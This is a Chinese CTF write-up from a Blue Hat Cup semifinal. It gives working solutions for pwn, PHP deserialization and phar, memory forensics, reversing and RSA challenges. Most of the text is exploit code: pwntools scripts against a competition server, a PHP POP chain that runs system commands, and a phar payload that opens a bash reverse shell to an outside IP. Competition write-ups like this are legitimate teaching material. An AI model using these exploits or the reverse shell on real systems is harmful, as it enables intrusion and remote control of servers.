蓝帽杯半决赛魔法少女继续摸WriteUP

半决赛去了哈尔滨,跟好多师傅成功面基,很不错的一场旅行,北邮太卷了,差一名进决赛,呜呜呜,最后总排名第八,北部赛区第7,这太。。。呜呜哭了

图片[1]-蓝帽杯半决赛魔法少女继续摸WriteUP-魔法少女雪殇

cover

图片[2]-蓝帽杯半决赛魔法少女继续摸WriteUP-魔法少女雪殇

反编译,逻辑很简单,首先值得注意的是开了mprotect,来有了很大部分的可写能力
然后大体逻辑就是可以向任意地址写入一个低字节,一般思路是写got但是中间有个判断,got地址太大,不如写plt

图片[3]-蓝帽杯半决赛魔法少女继续摸WriteUP-魔法少女雪殇

然后构造字节错位覆盖低字节
exp如下

from pwn import *

local = 0

#binary = './pwn'
# libc_path = ''
port = 12435

if local == 1:
    p = process(binary)
else:
    p = remote('118.190.62.234',port)

def dbg():
    context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']

bypass_addr = 0x8048888

dbg()
p.recvuntil("this")
# 修改puts_got为system_got
# puts 0x80484d0
# system 0x80484e0
p.send(p32(0x80484d2) + p8(0x24))
p.recvuntil("name")
p.send("/bin/sh\x00")


# gdb.attach(p)
p.interactive()

杰克与肉丝

php反序列化,用php原生类绕md5,极客大挑战考点

<?php
class Titanic{
	public $people;
	public $ship;
	function __construct(){
	$this->people = new Jack();
	$this->ship = new Love();
	}
}
class Love {
	public $var;
	function __construct(){
		$this->var = new Rose();
	}
}
class Jack{
		private $action;
		function __set($a, $b){
			$b->$a();
	}
}
class Rose {
	public $var1,$var2;
	public function __construct(){
		$cmd ='?><?php system("cat /flag") ?>';
		$ex1 = new Exception($cmd);$ex2 = new Exception($cmd,1);
		$this->var1 = $ex1;
		$this->var2 = $ex2;
	}
}
echo urlencode(serialize(new Titanic()));

payload:

?
love=O%3A7%3A%22Titanic%22%3A2%3A%7Bs%3A6%3A%22people%22%3BO%3A4%3A%22Jack%22%3A
1%3A%7Bs%3A12%3A%22%00Jack%00action%22%3BN%3B%7Ds%3A4%3A%22ship%22%3BO%3A4%3A%22
Love%22%3A1%3A%7Bs%3A3%3A%22var%22%3BO%3A4%3A%22Rose%22%3A2%3A%7Bs%3A4%3A%22var1
%22%3BO%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A30%
3A%22%3F%3E%3C%3Fphp+system%28%22cat+%2Fflag%22%29+%3F%3E%22%3Bs%3A17%3A%22%00Ex
ception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3
A7%3A%22%00%2A%00file%22%3Bs%3A26%3A%22F%3A%5Ctimu%5Cshorturl%5Caaaaa.php%22%3Bs
%3A7%3A%22%00%2A%00line%22%3Bi%3A33%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A
3%3A%7Bi%3A0%3Ba%3A6%3A%7Bs%3A4%3A%22file%22%3Bs%3A26%3A%22F%3A%5Ctimu%5Cshortur
l%5Caaaaa.php%22%3Bs%3A4%3A%22line%22%3Bi%3A15%3Bs%3A8%3A%22function%22%3Bs%3A11
%3A%22__construct%22%3Bs%3A5%3A%22class%22%3Bs%3A4%3A%22Rose%22%3Bs%3A4%3A%22typ
e%22%3Bs%3A2%3A%22-
%3E%22%3Bs%3A4%3A%22args%22%3Ba%3A0%3A%7B%7D%7Di%3A1%3Ba%3A6%3A%7Bs%3A4%3A%22fil
e%22%3Bs%3A26%3A%22F%3A%5Ctimu%5Cshorturl%5Caaaaa.php%22%3Bs%3A4%3A%22line%22%3B
i%3A7%3Bs%3A8%3A%22function%22%3Bs%3A11%3A%22__construct%22%3Bs%3A5%3A%22class%2
2%3Bs%3A4%3A%22Love%22%3Bs%3A4%3A%22type%22%3Bs%3A2%3A%22-
%3E%22%3Bs%3A4%3A%22args%22%3Ba%3A0%3A%7B%7D%7Di%3A2%3Ba%3A6%3A%7Bs%3A4%3A%22fil
e%22%3Bs%3A26%3A%22F%3A%5Ctimu%5Cshorturl%5Caaaaa.php%22%3Bs%3A4%3A%22line%22%3B
i%3A39%3Bs%3A8%3A%22function%22%3Bs%3A11%3A%22__construct%22%3Bs%3A5%3A%22class%
22%3Bs%3A7%3A%22Titanic%22%3Bs%3A4%3A%22type%22%3Bs%3A2%3A%22-
%3E%22%3Bs%3A4%3A%22args%22%3Ba%3A0%3A%7B%7D%7D%7Ds%3A19%3A%22%00Exception%00pre
vious%22%3BN%3B%7Ds%3A4%3A%22var2%22%3BO%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3
A%22%00%2A%00message%22%3Bs%3A30%3A%22%3F%3E%3C%3Fphp+system%28%22cat+%2Fflag%22
%29+%3F%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A
%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A26%3A%22F%3A%5Ct
imu%5Cshorturl%5Caaaaa.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A33%3Bs%3A16%3A
%22%00Exception%00trace%22%3Ba%3A3%3A%7Bi%3A0%3Ba%3A6%3A%7Bs%3A4%3A%22file%22%3B
s%3A26%3A%22F%3A%5Ctimu%5Cshorturl%5Caaaaa.php%22%3Bs%3A4%3A%22line%22%3Bi%3A15%
3Bs%3A8%3A%22function%22%3Bs%3A11%3A%22__construct%22%3Bs%3A5%3A%22class%22%3Bs%
3A4%3A%22Rose%22%3Bs%3A4%3A%22type%22%3Bs%3A2%3A%22-
%3E%22%3Bs%3A4%3A%22args%22%3Ba%3A0%3A%7B%7D%7Di%3A1%3Ba%3A6%3A%7Bs%3A4%3A%22fil
e%22%3Bs%3A26%3A%22F%3A%5Ctimu%5Cshorturl%5Caaaaa.php%22%3Bs%3A4%3A%22line%22%3B
i%3A7%3Bs%3A8%3A%22function%22%3Bs%3A11%3A%22__construct%22%3Bs%3A5%3A%22class%2
2%3Bs%3A4%3A%22Love%22%3Bs%3A4%3A%22type%22%3Bs%3A2%3A%22-
%3E%22%3Bs%3A4%3A%22args%22%3Ba%3A0%3A%7B%7D%7Di%3A2%3Ba%3A6%3A%7Bs%3A4%3A%22fil
e%22%3Bs%3A26%3A%22F%3A%5Ctimu%5Cshorturl%5Caaaaa.php%22%3Bs%3A4%3A%22line%22%3B
i%3A39%3Bs%3A8%3A%22function%22%3Bs%3A11%3A%22__construct%22%3Bs%3A5%3A%22class%
22%3Bs%3A7%3A%22Titanic%22%3Bs%3A4%3A%22type%22%3Bs%3A2%3A%22-
%3E%22%3Bs%3A4%3A%22args%22%3Ba%3A0%3A%7B%7D%7D%7Ds%3A19%3A%22%00Exception%00pre
vious%22%3BN%3B%7D%7D%7D%7D
图片[4]-蓝帽杯半决赛魔法少女继续摸WriteUP-魔法少女雪殇

不一样的web

注释有两个类,文件上传白名单,还有check,猜测phar反序列化,先去读lib.php:

class Read{
	public $name;
	public function file_get()
	{
		$text = base64_encode(file_get_contents("lib.php"));
		echo $text;
	}
}
class Test{
	public $f;
	public function __construct($value){
		$this->f = $value;
}
	public function __wakeup()
	{
		$func = $this->f;
		$func();
	}
}
$filename = 'poc.phar';
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new Test('Read::file_get'));
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>

然后修改成gif上传,phar触发反序列化:

图片[5]-蓝帽杯半决赛魔法少女继续摸WriteUP-魔法少女雪殇

读出lib.php

<?php
error_reporting(0);
class Modifier{
	public $old_id;
	public $new_id;
	public $p_id;
	public function __construct(){
		$this->old_id = "1";
		$this->new_id = "0";
		$this->p_id = "1";
}
	public function __get($value){
		$new_id = $value;
		$this->old_id = random_bytes(16);
		if($this->old_id===$this->new_id){
			echo 'yes';
		}
	}
}
class Read{
	public function file_get()
	{
	$text = base64_encode(file_get_contents("lib.php"));
	echo $text;
	}
}
class Files{
	public $filename;
	public function __construct($filename){
		$this->filename = $this->FilesWaf($filename);
	}
	public function __wakeup(){
		$this->FilesWaf($this->filename);
	}
	public function __toString(){
		return $this->filename;
	}
	public function __destruct(){
		echo "Your file is ".$this->FilesWaf($this->filename).".</br>";
	}
	public function FilesWaf($name){
		if(stristr($name, "/")!==False){
			return "index.php";
		}
		return $name;
	}
}
class Test{
	public $f;
	public function __construct($value){
		$this->f = $value;
	}
	public function __wakeup()
	{
		$func = $this->f;
		$func();
	}
}
class User{
	public $name;
	public $profile;
	public function __construct($name){
		$this->name = $this->UserWaf($name);
		$this->profile = "I am admin.";
	}
	public function __wakeup(){
		$this->UserWaf($this->name);
	}
	public function __toString(){
		return $this->profile->name;
	}
	public function __destruct(){
		echo "Hello ".$this->UserWaf($this->name).".</br>";
	}
	public function UserWaf($name){
		if(strlen($name)>10){
			return "admin";
	}
		if(!preg_match("/[a-f0-9]/iu",$name)){
			return "admin";
		}
		return $name;
	}
}

通过user的析构函数触发tostring,然后触发Modifier的get方法。exp:

<?php
class Modifier{
	public $old_id;
	public $new_id ;
	public $p_id = 'bash -c "bash -i >& /dev/tcp/8.141.49.228/9999 0>&1"';
}
class User{
	public $name;
	public $profile;
}
$p1 = new User;
$p2 = new User;
$p1->name = $p2;
$p3 = new Modifier;
$p2->profile = $p3;
$p3->new_id = &$p3->old_id;
$filename = 'poc.phar';
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($p1);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();

上传,触发反弹shell

图片[6]-蓝帽杯半决赛魔法少女继续摸WriteUP-魔法少女雪殇

没看到flag,跟目录有个game,下载下来放进idea,得到密码。有个flag用户。于是su flag
然后查看flag

图片[7]-蓝帽杯半决赛魔法少女继续摸WriteUP-魔法少女雪殇

博人的文件

解压获得raw文件和hacker.zip,hacker.zip需要密码,有个描述

图片[8]-蓝帽杯半决赛魔法少女继续摸WriteUP-魔法少女雪殇

彳亍,直接vol对raw取证

题目说了pdf,那就直接

volatility -f /root/桌面/博人的电脑.raw –profile=Win7SP1x64_23418 filescan|grep -e pdf

图片[9]-蓝帽杯半决赛魔法少女继续摸WriteUP-魔法少女雪殇

直接dump出来010打开

图片[10]-蓝帽杯半决赛魔法少女继续摸WriteUP-魔法少女雪殇

发现关键字段,回到raw继续寻找

图片[11]-蓝帽杯半决赛魔法少女继续摸WriteUP-魔法少女雪殇

文件很多,这里做了个根据文件大小直接导出svhost.zip.zip

里面是个exe,丢入ida分析没啥结果,图标显示pyc程序的图标

图片[12]-蓝帽杯半决赛魔法少女继续摸WriteUP-魔法少女雪殇

这里用了个骚操作用pyinstxtractor进行解密,获得dict里面的一个transfer,重命名pyc然后进行re,分离源代码

# uncompyle6 version 3.7.4
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.7.4 (tags/v3.7.4:e09359112e, Jul  8 2019, 20:34:20) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: transfer.py
# Compiled at: 2021-06-03 15:40:11
# Size of source mod 2**32: 214 bytes
import paramiko, datetime, os
hostname = '192.168.0.129'
username = 'fei'
password = ''
port = 22

def upload(local_dir, remote_dir):
    try:
        t = paramiko.Transport((hostname, port))
        t.connect(username=username, password=password)
        sftp = paramiko.SFTPClient.from_transport(t)
        for root, dirs, files in os.walk(local_dir):
            for filespath in files:
                local_file = os.path.join(root, filespath)
                a = local_file.replace(local_dir, '').replace('\\', '/').lstrip('/')
                remote_file = os.path.join(remote_dir, a)
                try:
                    sftp.put(local_file, remote_file)
                except Exception as e:
                    try:
                        sftp.mkdir(os.path.split(remote_file)[0])
                        sftp.put(local_file, remote_file)
                    finally:
                        e = None
                        del e

            for name in dirs:
                local_path = os.path.join(root, name)
                a = local_path.replace(local_dir, '').replace('\\', '')
                remote_path = os.path.join(remote_dir, a)
                try:
                    sftp.mkdir(remote_path)
                except Exception as e:
                    try:
                        print(55, e)
                    finally:
                        e = None
                        del e

        t.close()
    except Exception as e:
        try:
            pass
        finally:
            e = None
            del e


if __name__ == '__main__':
    local_dir = 'C:\\Program Files\\setups'
    remote_dir = '/home/share/'
    upload(local_dir, remote_dir)
# okay decompiling .\transfer.pyc

通过此处获得hostname和ip,然后解压hacker.zip

寻找一番,吐了,然后发现setup比较可疑,丢入010发现是pk头,解压需要密码

此处确实过于脑洞,于是直接问了工作人员

图片[13]-蓝帽杯半决赛魔法少女继续摸WriteUP-魔法少女雪殇

彳亍,raw里面内存的密码,直接hashdump

图片[14]-蓝帽杯半决赛魔法少女继续摸WriteUP-魔法少女雪殇

尝试解密,Hush的第二个字段可以解密

图片[15]-蓝帽杯半决赛魔法少女继续摸WriteUP-魔法少女雪殇

成功将其hacker.zip解密,获得图片

图片[16]-蓝帽杯半决赛魔法少女继续摸WriteUP-魔法少女雪殇

放大可以看见一些点,应该是缩略图,但是缩略图的间距并不统一,麻了,爆破吧

from PIL import Image
import sys
import time
for i in range(220, 245):
	for j in range(59, 61):
		img=Image.open('result.png') 
		img = img.resize((i, j), Image.NEAREST)
		img.save(str(i)  + 'x' + str(j) + '.png')

获得图片

图片[17]-蓝帽杯半决赛魔法少女继续摸WriteUP-魔法少女雪殇

嗯套,屑题

src_leak

百度搜索,原题:

(8条消息) 【Writeup】i春秋网络安全领域专项技能赛_Reverse_srcleak_BAKUMANSEC – Just Do It-CSDN博客

flag都不变,嗯!

flag{927369-19324816-44435556-3996001-9865881-1229}

py交易

这波啊,这波是原题x2

Python字节码解混淆之反控制流扁平化! – 知乎 (zhihu.com)

Python字节码解混淆 – 安全客,安全资讯平台 (anquanke.com)

蚌埠煮了,稍作修改

from math import sqrt
def solve(a,b,c):
    delta = b*b-4*a*c
    assert delta >= 0
    x1 = (-b + sqrt(delta))/(2*a)
    x2 = (-b - sqrt(delta))/(2*a)
    x1 = int(round(x1))
    x2 = int(round(x2))
    if x1>=0x20 and x1 < 0x7f:
        return x1
    else:
        return x2

a = [13433, 4747, 17752, 33060, 31051, 48809, 29988, 6421, 20021, 38888, 24844, 20706, 11713, 34938, 12865, 6085, 37391, 32840, 31964, 27194, 8701, 48142, 27066, 28626, 37431, 39142, 46795, 21771, 44280, 40628, 35013, 18583, 5418, 4347, 43929, 9934, 46892, 19868]
b = [13711, 7074, 79833, 42654, 23241, 41412, 61795, 6373, 19304, 1363, 1682, 66279, 76134, 60748, 10355, 63484, 30491, 34005, 51393, 38029, 7241, 4998, 18562, 16935, 66677, 51321, 13771, 49108, 52166, 8851, 16900, 31682, 16684, 12046, 16764, 64315, 76742, 14022]
c = [832832835, -924053193, -307134635, -527578092, 998625960, -715102211, 3572182, -963194083, -475718185, -361574731, -678171563, 107566155, 608670527, 254218946, -81206308, -284228457, 373369420, 659110852, 165298084, -389004184, 893094421, -868933443, 44838205, -98551062, -59800920, -575871298, -748337118, 696390966, 427210246, -266607884, -555200820, -594235119, -233255094, 229291711, 711922719, 14476464, -783373820, 892608580]
d = [973988289, -867920193, -132362266, -172451190, 1471255182, -242282199, 321870424, -897049789, -428663209, -256350703, -613466537, 321254055, 641759727, 344601346, -40281788, -217030057, 476060216, 767746297, 503093626, -102198850, 984358207, -415480559, 322813233, 178032672, 48876640, -467362638, -260077296, 923436845, 536082660, -138702820, -210365307, -397666023, -215329942, 274852104, 818217684, 41479433, -632022956, 1204798830]
flag = ""
for i in range(38):
    flag += chr(solve(a[i],b[i],c[i]-d[i]))
print(flag)

very_smooth

参考文章:RSA 选择明密文攻击 – CTF Wiki (ctf-wiki.org)

先是sha256的一个爆破,常规爆破即可,后续来选择

e可知,N被隐藏,任意加密系统恢复N,根据hint,choice选择小于10000的素数,可得pq是相近的大素数,恢复出n最后分解即可

exp:

from pwn import *
import gmpy2
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
import string
import codecs
import hashlib

def pwn():
    
    c2=Encode(2)
    c32=Encode(32)
    n=GCD(g,c2**5-c32)
    r.recvuntil('> ')
    r.sendline('2')
    r.recvline()
    rsa_key=r.recvuntil('-----END PUBLIC KEY-----')
    rsa_key=RSA.import_key(rsa_key)
    e=rsa_key.e

    r.recvuntil('a message: \n')
    c=r.recvline()[:-1]

    N=n
    n=2
    a=2
    while 1:
	    a=pow(a,n,N)
    	res=gmpy2.gcd(a-1,N)
    	if res!=1 and res!=N:
	    	p=res
	    	q=N//res
	    	break
	    n=n+1
    d=inverse(e,(p-1)*(q-1))

    flag = long_to_bytes(pow(c,d,n))

    print(flag)

def sha256decode():
    for a in str256:
	    for b in str256:
	    	for c in str256:
		    	for d in str256:
		    		str1=(a+b+c+d).encode()
			    	str2=str1+s
			    	hd=hashlib.sha256(str2).hexdigest()
			    	if h.decode()==hd:
				    	r.sendline(str1)
					    flag=True
	    			if flag:
		    			break
			    if flag:
				    break
		    if flag:
			    break
	    if flag:
		    break

def Encode(str):
	msg=codecs.encode(long_to_bytes(msg),'hex')
	r.sendline('1')
	r.recvline()
	r.sendline(msg)
	r.recvuntil('Here is your')
	rst = int(r.recvline()[:-1],16)
	return rst




if __name__ == '__main__':
    str256=string.ascii_letters+string.digits
    flag=False
    g=0
	context.log_level = 'debug'
    r=remote('118.190.62.234',61139)
    r.recvuntil('sha256(XXXX+')
    s=r.recvuntil(') == ')[:-5]
    h=r.recvline()[:-1]

    sha256decode()
	pwn()
图片[18]-蓝帽杯半决赛魔法少女继续摸WriteUP-魔法少女雪殇

hangman

漏洞就是格式化字符串,泄露出libc地址,然后利用格式化字符串修改返回地址为gadget

exp:

# _*_ coding:utf-8 _*_
from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
binary = './pwn'
elf = ELF(binary)
# p = process(binary)
libc = ELF("./libc-2.23.so")
p = remote("118.190.62.234", 33445)


def pwn():
    p.recvuntil("Enter a word")
    p.send("%p"*36)
    p.recvuntil("Guess a letter:")
    p.send("\x25")
    p.recvuntil('Guess a letter:')
    p.recv(8)
    p.recv(14*3)
    p.recvuntil('0x')

    data = int(p.recv(12), 16)
    log.success('data:'+ hex(data))
    addr = data - libc.sym['_IO_2_1_stdout_']
    log.success('addr:' + hex(addr))
    sys = addr + libc.sym['system']
    binsh = addr + libc.search(b'/bin/sh').__next__()

    p.recvuntil("Enter a word")
    p.send("%24$p"*3+'a')
    p.recvuntil("%24$p0x")
    stack = int(p.recv(12), 16)
    log.success('stack:'+ hex(stack))
    if stack & 0xffff > 2000:
        return

    p.recvuntil("Enter a word")
    p.send("%"+str((stack-0x20) & 0xffff)+"c"+"%31$hn"+28*'a')
    for i in range(20):
        p.recvuntil("Guess a letter:")
        p.send("\x25")

    p.send("\x25")

    p.recvuntil("Enter a word")
    pop_rdi = addr + 0x21112

    payload = b"%"+str((stack+0x90-0x100-8) & 0xffff)+b"c"+b"%57$hn"+b'aaaa'
    payload += p64(pop_rdi)+p64(binsh)+p64(sys)
    p.send(payload)
    for i in range(11):
        p.recvuntil("Guess a letter:")
        p.send("\x25")
    p.send("\x25")

    log.success('stack:'+ hex(stack))
    p.interactive()


if __name__ == '__main__':
	context.log_level = 'debug'
	while 1:
		pwn()
		p.close()
		p = remote("118.190.62.234", 33445)
© 版权声明
THE END
喜欢就支持一下吧
点赞6 分享